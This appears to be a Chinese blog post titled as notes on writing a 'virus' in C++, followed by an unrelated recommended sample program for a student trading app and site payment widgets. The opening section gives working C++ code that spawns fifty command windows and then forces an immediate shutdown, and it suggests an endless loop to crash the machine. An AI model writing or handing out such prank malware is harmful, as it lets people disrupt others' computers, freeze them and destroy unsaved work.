笔记篇-用C++编写一个病毒

主要用到了Windows.h模块。

上代码:

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
	int i;
	for(i=0;i<=50;i++)
	{
		system("start cmd");
	}
	system("shutdown -s -t 00");
}

7~11是重点,for循环指定次数打开cmd窗口,严重一点可以使用While True导致电脑崩溃,最后自动关机。

就这么简单。。。。。。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
好的,下面是一个简单的用C++编写的大学生交易小程序的示例: ```c++ #include <iostream> #include <string> #include <vector> using namespace std; // 商品类 class Product { public: Product(string name, double price, string description) { this->name = name; this->price = price; this->description = description; } string getName() { return name; } double getPrice() { return price; } string getDescription() { return description; } private: string name; // 商品名称 double price; // 商品价格 string description; // 商品描述 }; // 用户类 class User { public: User(string name, string email) { this->name = name; this->email = email; } string getName() { return name; } string getEmail() { return email; } private: string name; // 用户名 string email; // 用户邮箱 }; // 订单类 class Order { public: Order(User* user, Product* product, int quantity) { this->user = user; this->product = product; this->quantity = quantity; } User* getUser() { return user; } Product* getProduct() { return product; } int getQuantity() { return quantity; } private: User* user; // 用户 Product* product; // 商品 int quantity; // 商品数量 }; // 商品列表 vector<Product> products = { Product("笔记本电脑", 5500.0, "15寸,8GB内存,1TB硬盘"), Product("手机", 2000.0, "5寸屏幕,64GB存储,双卡双待"), Product("耳机", 100.0, "入耳式,带麦克风,高保真音质") }; // 用户列表 vector<User> users = { User("张三", "[email protected]"), User("李四", "[email protected]"), User("王五", "[email protected]") }; // 订单列表 vector<Order> orders; // 显示商品列表 void showProducts() { cout << "商品列表:" << endl; for (int i = 0; i < products.size(); i++) { Product product = products[i]; cout << i + 1 << ". " << product.getName() << " 价格:" << product.getPrice() << " 描述:" << product.getDescription() << endl; } } // 选择商品 Product* selectProduct() { int choice; cout << "请选择商品编号:" << endl; cin >> choice; if (choice < 1 || choice > products.size()) { cout << "输入有误,请重新选择。" << endl; return selectProduct(); } return &products[choice - 1]; } // 选择用户 User* selectUser() { int choice; cout << "请选择用户编号:" << endl; cin >> choice; if (choice < 1 || choice > users.size()) { cout << "输入有误,请重新选择。" << endl; return selectUser(); } return &users[choice - 1]; } // 创建订单 void createOrder() { showProducts(); Product* product = selectProduct(); User* user = selectUser(); int quantity; cout << "请输入购买数量:" << endl; cin >> quantity; orders.push_back(Order(user, product, quantity)); cout << "订单创建成功。" << endl; } // 显示订单列表 void showOrders() { cout << "订单列表:" << endl; for (int i = 0; i < orders.size(); i++) { Order order = orders[i]; cout << i + 1 << ". " << order.getUser()->getName() << " 购买了 " << order.getProduct()->getName() << " 数量:" << order.getQuantity() << endl; } } // 主函数 int main() { while (true) { cout << "请选择操作:" << endl; cout << "1. 创建订单" << endl; cout << "2. 查看订单" << endl; cout << "3. 退出程序" << endl; int choice; cin >> choice; switch (choice) { case 1: createOrder(); break; case 2: showOrders(); break; case 3: return 0; default: cout << "输入有误,请重新选择。" << endl; } } return 0; } ``` 这个程序简单地模拟了一个大学生交易小程序,用户可以选择商品和用户,创建订单并查看订单列表。当然,这只是一个简单的示例,您可以根据自己的需求和功能,修改和扩展代码。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值